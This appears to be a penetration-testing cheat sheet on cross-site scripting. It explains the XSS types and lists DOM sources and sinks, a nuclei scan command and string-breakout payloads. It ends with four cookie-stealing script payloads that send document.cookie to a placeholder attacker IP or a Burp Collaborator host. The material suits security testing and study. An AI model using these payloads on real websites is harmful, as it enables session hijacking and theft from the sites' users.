XSS

Introduction

Cross-site scripting attacks are code injection attacks in which attackers inject malicious code, usually client-side scripts (such as JavaScript), into trusted websites. Thus, the browser's victim runs the attacker's code leading to account impersonation, loading external content, stealing sensitive data...

There are three main types of XSS attacks:

  • Stored XSS: The injected script is stored on the website's database when a web application gathers input data from a user without any prior sanitisation or filtering. Then, the malicious script will appear to any user who visits the web page.

  • Reflected XSS: The injected script is embedded into an HTTP request and then the application includes that data within the immediate response without any prior sanitisation or filtering.

  • DOM-based XSS: The injected script is obtained from a client-side script that reads data from a controllable part of the DOM, without any prior sanitisation or filtering, sending it into a sink (a function that processes the argument that is passed to it as JavaScript) that supports dynamic code execution, such as eval() or innerHTML. This enables attackers to execute malicious JavaScript, which typically allows them to hijack other users' accounts.

DOM-based XSS

In order to find a DOM-based vulnerability, it is necessary to find if the web application contains sources from where user input data is obtained. A list of typical sources are the following:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
scrollIntoView()
location.hash

Then, also look if sinks exist. Here you also have a list of sinks:

# DOM-XSS
document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

# DOM-XSS (JQUERY)
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

# Open-redirect vulnerabilities
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

After that, for each source, send random strings analysing in which sink the data input is sent and where is shown on the application.

Finally, for each location where your string appears within the DOM, identify its context in order to refine your input to obtain your XSS.

Tools

Because it is too tedious looking this vulnerability manually, there are several tools that can make this task easier for you:

  • Burp Suite active scan.

  • Burp Suite built-in DOM Invader.

  • cat <URLs.txt> | nuclei -tags xss

Breaking out of a JavaScript string

In cases where the XSS context is inside a quoted string literal, it is often possible to break out of the string and execute JavaScript directly.

Note: It is essential to repair the script following the XSS context because any syntax errors will prevent the whole script from executing.

Some useful ways of breaking out of a string literal are:

'-alert(document.domain)-' ';alert(document.domain)//

Stealing cookies

In this section, you will find some JavaScript code snippets which allow you to retrieve the victim's cookies in order to impersonate its account.

<script>new Image().src='http://<ATTACKER_IP>/'+document.cookie</script>

<script>document.write('<img src="http://<ATTACKER_IP>/'+document.cookie+'"/>')</script>

<script>document.location='http://<ATTACKER_IP>/'+document.cookie</script>

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

References

Last updated